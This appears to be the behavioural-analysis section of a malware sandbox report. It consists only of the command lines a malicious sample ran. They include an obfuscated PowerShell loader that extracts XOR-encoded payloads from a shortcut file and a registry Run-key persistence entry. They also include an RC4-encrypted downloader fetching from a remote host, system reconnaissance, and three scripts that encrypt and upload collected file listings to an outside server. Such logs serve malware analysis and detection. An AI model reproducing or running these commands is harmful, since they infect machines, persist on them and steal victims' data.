Behavioral Analysis

cmd.exe "C:\Windows\system32\cmd.exe" /c p^owe^rshe^l^l -windowstyle hidden function BYPVVObtSBg{param($vOiCAahtou,$YTMhzLrhzIPV,$ODtndleakm,$MqCNDxmeLr,$fNjGFHMrbWA);^<#letch overnegligently transactinide#^> $jpgrvGKusY=New-Object ^<#tornese ungospelized nondesignate#^>System.IO.FileStream($vOiCAahtou,^<#uncross traceless bonita#^>[System.IO.FileMode]::Open,^<#spasmotin aborigine panzootic#^>[System.IO.FileAccess]::Read);^<#wariangle aristolochiaceous fictioneering#^> $jpgrvGKusY.Seek($YTMhzLrhzIPV,^<#quipsomeness stercoral undeceptitious#^>[System.IO.SeekOrigin]::Begin);^<#marchantia oversoar duplicature#^> $VJOInKKXMRvQ=New-Object ^<#limnobium benzoic reefed#^>byte[] $ODtndleakm;^<#refries syndeses vermifugous#^> $jpgrvGKusY.Read($VJOInKKXMRvQ,^<#nonexemption preinitiated untruced#^>0,$ODtndleakm);^<#hematocytozoon commensalistic congregationalism#^> $jpgrvGKusY.Close();for($jqqJILuBGK=0;$jqqJILuBGK -lt $ODtndleakm;$jqqJILuBGK++){$VJOInKKXMRvQ[$jqqJILuBGK]=$VJOInKKXMRvQ[$jqqJILuBGK] -bxor $MqCNDxmeLr;}sc ^<#cavallas vapidness trabecule#^> $fNjGFHMrbWA ^<#semirigorously harmoniphone oxalated#^> $VJOInKKXMRvQ -Encoding ^<#irrefrangible rivalries dumontite#^> Byte;};function hwqBULFNvJ{param($sBDFnkRezJN);^<#rezbanyite orth gavelling#^> $KzOQvdcXYdjO=Get-ChildItem ^<#enheritage dialogite gorgonizing#^>-Path ^<#haemorrhagic aftershafted transplantar#^> $sBDFnkRezJN -Recurse ^<#preestimating arrivistes perfectionator#^>*.lnk ^<#unspillable thiobacteriales inverts#^>^| ^<#colliculate unwitch unmeekness#^>where-object ^<#apophyeeal oculauditory dackered#^>{$_.length ^<#cannonry resoluble diplocoria#^>-eq 0x042D9905} ^<#reendow unvoyaging engrossed#^>^| Select-Object ^<#certifiers gelechiid azeotrope#^>-ExpandProperty ^<#tabors lonhyn halavahs#^>FullName; return ^<#busybodyism cabrito sweepier#^> $KzOQvdcXYdjO;^<#pueblos pimas lutheran#^>};$bKACpSJxmuLd=Get-Location;$ofHLTkfBuY=hwqBULFNvJ ^<#muniments cryoconite cruets#^>-sBDFnkRezJN ^<#excludability hemen assassinative#^> $bKACpSJxmuLd;if($ofHLTkfBuY.length^<#bebite cesspits backstops#^> -eq 0){$ofHLTkfBuY=hwqBULFNvJ ^<#proceritic earned nondisturbing#^> -sBDFnkRezJN $env:Temp;} $bKACpSJxmuLd=Split-Path ^<#disentrancement bomble dobule#^> $ofHLTkfBuY;$lBLKeytyGN = $ofHLTkfBuY.substring(0,$ofHLTkfBuY.length-4) ^<#jumma nonsensualistic grade#^>+ '';BYPVVObtSBg -vOiCAahtou ^<#homaxonic standbys gunbuilder#^> $ofHLTkfBuY -YTMhzLrhzIPV ^<#counterbend elvan chihuahua#^> 0x000022B4 -ODtndleakm 0x00004800 -MqCNDxmeLr ^<#cheselip centunculus hyperadipose#^> 0x10 -fNjGFHMrbWA ^<#pseudangina reemerge minchah#^> $lBLKeytyGN;^&^<#physis manipulated cauli#^> $lBLKeytyGN;$jsdoulrAkk=$env:public ^<#acuter orphrey remastication#^>+ '\' ^<#pest hazers jaspidean#^>+^<#anthryl koch seamy#^> 'vOiCAa.cab';BYPVVObtSBg -vOiCAahtou ^<#seriating unrestrictedly huntsmen#^> $ofHLTkfBuY -YTMhzLrhzIPV ^<#hyperendocrinia inconsequence flandowser#^> 0x00006AB4 -ODtndleakm ^<#anilopyrin chondrodite dackers#^> 0x00013AA1 -MqCNDxmeLr ^<#semirebelliousness concretions uncolonizing#^> 0x20 -fNjGFHMrbWA ^<#wampuses perruche esotericist#^> $jsdoulrAkk;Remove-Item -Path ^<#unveritable scuttlebutt printmaker#^> $ofHLTkfBuY -Force;expand $jsdoulrAkk ^<#uncompliantly polemics tracheobronchitis#^> -F:* ^<#autogenously dhyana yus#^> ($env:public ^<#perorative influenced shader#^>+^<#cisjurane limericks unbeholden#^> '\' ^<#subpenaing varitype sciuroid#^>+^<#broomrape uncoloredly glandlike#^> 'documents');remove-item ^<#rimous zaptiahs cougher#^> -path ^<#strumectomy hoecake etherish#^> $jsdoulrAkk ^<#dwindlement periclasite pelargonidin#^>-force;$NjVWyNaCkCJM=$env:public^<#larcher rascalship slough#^>+'\documents\start.vbs';^&^<#paradisea parser diapaused#^> $NjVWyNaCkCJM;

reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v svchostno2 /t REG_SZ /d "C:\Users\Public\Documents\start.vbs" /f

powershell.exe powershell -command "function ES113{param ([Parameter(Mandatory=$true)] [string]$src1205,[Parameter(Mandatory=$true)] [string]$Key);$srcBytes = [System.Text.Encoding]::UTF8.GetBytes($src1205); $keyBytes = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $keyBytes[$i % $keyBytes.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encBytes = New-Object byte[] $srcBytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $srcBytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encBytes[$n] = $srcBytes[$n] -bxor $s[$t];}$encString = [System.Convert]::ToBase64String($encBytes);return $encString;}$url1 = 'https://aufildeseaux.com/wp-admin/includes/main/read/get.php?pw=xlse&cm=ns0010';$outfile = 'C:\Users\Public\Documents\di3726.zip';Add-Type -AssemblyName 'System.Web'; $key=(Get-Date).Ticks.ToString(); $qryStr = $url1.Split('?')[1]; $encoded = ES113 -src1205 $qryStr -Key $key;$url1=$url1.Split('?')[0]+'?'+$key+'='+[System.Web.HttpUtility]::UrlEncode($encoded);iwr -Uri $url1 -OutFile $outfile;"

systeminfo.exe systeminfo

timeout.exe timeout -t 5 /nobreak

powershell.exe powershell -command "function ES113{param ([Parameter(Mandatory=$true)] [string]$src1205,[Parameter(Mandatory=$true)] [string]$Key);$srcbytes = [System.Text.Encoding]::UTF8.GetBytes($src1205); $kbytes12 = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $kbytes12[$i % $kbytes12.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encbytes12 = New-Object byte[] $srcbytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $srcbytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encbytes12[$n] = $srcbytes[$n] -bxor $s[$t];}$encstr12 = [System.Convert]::ToBase64String($encbytes12);return $encstr12;}$key=(Get-Date).Ticks.ToString();$tgurl12='http://ddsdata.net/upload.php';$fn='TEST22-PC_down.txt';$fp='C:\Users\Public\Documents\down.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ES113 -src1205 $fn -Key $key;$dt=ES113 -src1205 $dt -Key $key;$qry12 = [System.Web.HttpUtility]::ParseQueryString('');$qry12['fn']=$fn;$qry12['fd']=$dt;$qry12['r']=$key;$b=$qry12.ToString();$b12=[System.Text.Encoding]::UTF8.GetBytes($b);$wr12=[System.Net.WebRequest]::Create($tgurl12);$wr12.Method='POST';$wr12.ContentType='applic'+'ation/x'+'-ww'+'w-for'+'m-ur'+'lenco'+'ded';$wr12.ContentLength=$b12.Length;$rss12 = $wr12.GetRequestStream();$rss12.Write($b12,0,$b12.Length);$rss12.Close();$rsd12=$wr12.GetResponse();if($rsd12.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $fpok;}"

powershell.exe powershell -command "function ES113{param ([Parameter(Mandatory=$true)] [string]$src1205,[Parameter(Mandatory=$true)] [string]$Key);$srcbytes = [System.Text.Encoding]::UTF8.GetBytes($src1205); $kbytes12 = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $kbytes12[$i % $kbytes12.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encbytes12 = New-Object byte[] $srcbytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $srcbytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encbytes12[$n] = $srcbytes[$n] -bxor $s[$t];}$encstr12 = [System.Convert]::ToBase64String($encbytes12);return $encstr12;}$key=(Get-Date).Ticks.ToString();$tgurl12='http://ddsdata.net/upload.php';$fn='TEST22-PC_docu.txt';$fp='C:\Users\Public\Documents\docu.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ES113 -src1205 $fn -Key $key;$dt=ES113 -src1205 $dt -Key $key;$qry12 = [System.Web.HttpUtility]::ParseQueryString('');$qry12['fn']=$fn;$qry12['fd']=$dt;$qry12['r']=$key;$b=$qry12.ToString();$b12=[System.Text.Encoding]::UTF8.GetBytes($b);$wr12=[System.Net.WebRequest]::Create($tgurl12);$wr12.Method='POST';$wr12.ContentType='applic'+'ation/x'+'-ww'+'w-for'+'m-ur'+'lenco'+'ded';$wr12.ContentLength=$b12.Length;$rss12 = $wr12.GetRequestStream();$rss12.Write($b12,0,$b12.Length);$rss12.Close();$rsd12=$wr12.GetResponse();if($rsd12.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $fpok;}"

powershell.exe powershell -command "function ES113{param ([Parameter(Mandatory=$true)] [string]$src1205,[Parameter(Mandatory=$true)] [string]$Key);$srcbytes = [System.Text.Encoding]::UTF8.GetBytes($src1205); $kbytes12 = [System.Text.Encoding]::UTF8.GetBytes($Key);$s = New-Object byte[](256);$k = New-Object byte[](256);for ($i = 0; $i -lt 256; $i++) {$s[$i] = $i;$k[$i] = $kbytes12[$i % $kbytes12.Length];}$j = 0;for ($i = 0; $i -lt 256; $i++) {$j = ($j + $s[$i] + $k[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;}$encbytes12 = New-Object byte[] $srcbytes.Length;$i = 0;$j = 0;for ($n = 0; $n -lt $srcbytes.Length; $n++) {$i = ($i + 1) % 256;$j = ($j + $s[$i]) % 256;$temp = $s[$i];$s[$i] = $s[$j];$s[$j] = $temp;$t = ($s[$i] + $s[$j]) % 256;$encbytes12[$n] = $srcbytes[$n] -bxor $s[$t];}$encstr12 = [System.Convert]::ToBase64String($encbytes12);return $encstr12;}$key=(Get-Date).Ticks.ToString();$tgurl12='http://ddsdata.net/upload.php';$fn='TEST22-PC_desk.txt';$fp='C:\Users\Public\Documents\desk.txt';$dt=gc -Path $fp -Raw | Out-String;Add-Type -AssemblyName 'System.Web';$fn=ES113 -src1205 $fn -Key $key;$dt=ES113 -src1205 $dt -Key $key;$qry12 = [System.Web.HttpUtility]::ParseQueryString('');$qry12['fn']=$fn;$qry12['fd']=$dt;$qry12['r']=$key;$b=$qry12.ToString();$b12=[System.Text.Encoding]::UTF8.GetBytes($b);$wr12=[System.Net.WebRequest]::Create($tgurl12);$wr12.Method='POST';$wr12.ContentType='applic'+'ation/x'+'-ww'+'w-for'+'m-ur'+'lenco'+'ded';$wr12.ContentLength=$b12.Length;$rss12 = $wr12.GetRequestStream();$rss12.Write($b12,0,$b12.Length);$rss12.Close();$rsd12=$wr12.GetResponse();if($rsd12.StatusCode -eq [System.Net.HttpStatusCode]::OK){Remove-Item -Path $fp;$fpok='C:\Users\Public\Documents\up'+'ok.t'+'xt';New-Item -ItemType File -Path $fpok;}"